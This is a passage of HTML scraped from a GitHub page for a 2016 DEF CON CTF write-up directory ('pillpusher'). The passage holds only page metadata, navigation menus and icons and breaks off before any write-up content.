defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-writeup/2016_defcon/pillpusher at master · DaramG/ctf-writeup · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B378:380B:452B315:46BEC73:64122957" data-pjax-transient="true"/><meta name="html-safe-nonce" content="be1bf9c76669341d7281966deb0bf37d1e5dead2d6f7983a44d11361e1cda73f" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMzc4OjM4MEI6NDUyQjMxNTo0NkJFQzczOjY0MTIyOTU3IiwidmlzaXRvcl9pZCI6Ijg5MTg5MDMxMjU0NzUyMDc1MTEiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="fc06a697a77bd1cf25960c133d1e3bb0bb2e2eedf3aad6a4d1bc04de5fab5975" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:59453325" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/cddc598ccea20e8d6e26446e27bc87fc4a2c494b65814435963dbf5316030708/DaramG/ctf-writeup" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeup/2016_defcon/pillpusher at master · DaramG/ctf-writeup" /><meta name="twitter:description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/cddc598ccea20e8d6e26446e27bc87fc4a2c494b65814435963dbf5316030708/DaramG/ctf-writeup" /><meta property="og:image:alt" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeup/2016_defcon/pillpusher at master · DaramG/ctf-writeup" /><meta property="og:url" content="https://github.com/DaramG/ctf-writeup" /><meta property="og:description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/DaramG/ctf-writeup git https://github.com/DaramG/ctf-writeup.git">
<meta name="octolytics-dimension-user_id" content="8486670" /><meta name="octolytics-dimension-user_login" content="DaramG" /><meta name="octolytics-dimension-repository_id" content="59453325" /><meta name="octolytics-dimension-repository_nwo" content="DaramG/ctf-writeup" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="59453325" /><meta name="octolytics-dimension-repository_network_root_nwo" content="DaramG/ctf-writeup" />
<link rel="canonical" href="https://github.com/DaramG/ctf-writeup/tree/master/2016_defcon/pillpusher" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="59453325" data-scoped-search-url="/DaramG/ctf-writeup/search" data-owner-scoped-search-url="/users/DaramG/search" data-unscoped-search-url="/search" data-turbo="false" action="/DaramG/ctf-writeup/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="INCrZfwkE+Y0YVOB69aQLNHC4HooL4OMpkv/hwc5jmtExpQIkDCkY86F9N/KfxgSnUPfNnBqy7NfYDYcToHEBA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
